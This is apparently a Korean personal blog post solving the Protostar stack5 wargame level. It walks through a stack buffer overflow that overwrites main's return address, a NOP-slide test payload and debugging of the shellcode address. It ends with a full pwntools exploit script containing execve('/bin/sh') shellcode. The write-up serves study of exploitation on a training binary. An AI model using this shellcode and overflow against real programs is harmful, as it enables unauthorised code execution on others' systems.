5번 문제풀이 입니당
먼저 소스코드를 보면 다음과 같아염
원래 4번까지는 흐름을 바꿔서 실행시키면 됬는데 이건 그런게 없어요
그러면 쉘코드를 작성해서 해야겠구나 생각했어요
메인함수도 결국 호출되어 져서 실행되는 거고
RET를 하면 원래 흐름으로 돌아가겠죠 ?
그니까 예를들어 걸어가다가 (원래흐름 ) - 뛰어요( 메인 함수 호출) - 그리고 다시 걸어요..
음 예를 든게 더 이상한가 ?
암튼 말하고자 하는 바는 메인함수도 결국 함수니까 다른곳에서 호출 되어진거고, 그러면 당연히 RET가 있다는 말이에요
네네 그러면 어떻게 해야 할까요 ?
저는 보고 NOP Slide를 떠올렸어요
그래서 payload 구성을 어떻게 할꺼냐면 !
payload = buffer + Shell_addr + NOP + Shell_code 이렇게 할 꺼에요
여기서 NOP ( \x90)을 넣는 이유는 공격의 성공률을 높이기 위함이라는데.. 저는 자세한 이유는 잘 모르겠어요
페이로드 설명을 간단히 하면
쉘코드를 메모리에 올리고 main Ret 주소를 찾은다음에
main Ret 가 쉘코드로 점프하게 하면 끝이에요
그렇다면 우리가 해야 할 일은 무엇일까요 ?
첫번째로 main 의 RET를 찾아야 해요
ret를 찾는 방법은 간단하고 앞에서 많이 했기 때문에 스킵할께요 ! (main ret offset 72)
두번쨰로 nop 가 들어가고 그 뒤의 shell_code 주소를 찾아야 해요
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90CCCCCCCCCCCCCCCCCCCCCCCC
그래서 이렇게넣어준다음에 메모리 위치를 찾으려 했어요
A , B, C 의 의미를 말씀드리면
A = 버퍼를 채운거에요 , 그러므로 buffer size + ebp 겠죠 ?
B = 이게 원래 main ret 부분이에요 나중에 여기에 shell code address가 들어갈꺼에요
C = 쉘 코드 부분이에요
그래서 메모리를 까보면 다음 사진과 같아여
근데 0x90 이 0x3039785c 로 들어가는데.. 왜그런지 모르겠어요
쨌든 보면 0x7fffffffe290 주소에 CCCC ... 즉 shell code 가 들어간걸 확인할 수 있어요
그래서 원하는것을 다 구해서 익스 짜서 돌렸는데 안먹어요 ..
그래서 어태치 해서 디버깅 해봤어요
근데 fe290에 원하는 값이 안들어가있는걸 확인해써요 (아 참고로 위 사진에선 NOP 빼고 B*100으로 넣었어요 그래서 42가 들어가있는거에요 )
fe290 말고 424242가 끝나는 지점 fe1b4부터 쉘코드가 올라가있는걸 확인했어요
그래서 귀찮으니까 B*96개 넣고 fe1b0 을 shell_code address로 수정해써요
그래서 성공해써요
익스플로잇 스크립트는 다음과 가타여
from pwn import *
Shell_addr = p64(0x7fffffffe1b0)
buf = ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
payload = "A"*72 + Shell_addr + "B"*96 + buf
p = process(['./stack5'])
p.sendline(payload)
print p.recvrepeat(1)
p.interactive()
'개인공부 > pwnable' 카테고리의 다른 글
pwnable.kr bof 문제 (0) | 2019.10.21 |
---|---|
pwnable.kr fd 문제 (0) | 2019.10.21 |
[protostar] stack4 문제풀이 (0) | 2018.12.31 |
[protostar] stack3 문제풀이 (0) | 2018.11.19 |
[protostar] stack2 문제풀이 (0) | 2018.10.14 |